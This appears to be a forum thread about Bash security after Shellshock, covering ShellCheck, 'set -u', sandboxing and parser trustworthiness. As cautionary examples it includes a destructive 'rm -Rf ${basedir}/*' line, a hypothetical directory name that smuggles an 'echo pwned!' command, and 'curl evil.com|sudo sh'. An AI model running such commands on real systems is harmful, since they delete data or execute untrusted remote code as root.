To be clear, I think this was in reference to shell shock and not a generic statement. Bash has its place, I think everyone agrees that place isn’t cgi scripts though.
I do not expect a shell to be secure. In my opinion that is the job of mandatory access controls, sandboxes, chroot jails, setcap, posix permissions, etc... and of course the job of the script author.
I do however try to keep shell scripting done with some best practices to minimize mistakes and mistakenly executing the wrong resources. A good start is to use ShellCheck [1] available and a command line tool in most distro repositories. ShellCheck has corrected some of my old bad habits. In the cases where I disagree with ShellCheck findings, there are options that can be added as comments to scripts that will ignore specific checks.
Speaking of security and mistakes, one common mistake I see in scripts is to leave out "set -u" in bash scripts. I actually wish that were default and that one had to disable it when required and it is sometimes required. This would prevent many accidental incidents of data loss. e.g.
rm -Rf ${basedir}/* # yeah nobody should do this but it happens, sometimes with sudo.
You should. The example with "rm -Rf" is a problem with ergonomics/usability; what definitely would be way more scary is e.g. if the shell had an arbitrary code execution vulnerability in its path processing code.
$ /bin/sh
$ cd /some/path+evilmagic+'echo pwned!' # that's just a normal directory name, allowed by POSIX
$ /bin/vulnsh # prints "pwned!"If my job was to mitigate theoretical attacks then I would require everyone to run scripts in highly restricted sandboxes that log the obfuscated behavior. This is probably something that build automation systems should be doing regardless for all scripts and compiled code to detect things like backdoored NPM packages which is all the rage these days. I would also like to see multipurpose repository systems like Github and Gitlab perform these sandboxed tests, rating scripts and compiled code with behavioral risk scores.
I am mostly content with the current status of Bash security and the toggles it gives me to control behavior. There are some things I would prefer defaulted on but I understand why they do not.
While my path processing scenario is hypothetical, you shouldn't need additional sandboxing to merely browse the local filesystem. You should trust tar not to overwrite files outside cwd. You should trust ls not to execute arbitrary code when listing a directory. You should trust the TCP/IP stack not to cause a kernel panic when a malformed ping shows up at your NIC. There's a huuuge difference between that and "curl evil.com|sudo sh".
It requires an advanced parser.
There is an effort with OCaml (and another with ADA) to create a formal and secure parser. They remark that dash is a handcrafted parser in C that cannot be formally assured.
https://archive.fosdem.org/2018/schedule/event/code_parsing_...
I think arguing that you’ll have a hard time arguing that weakly typed, structureless, idiosyncratic language is secure.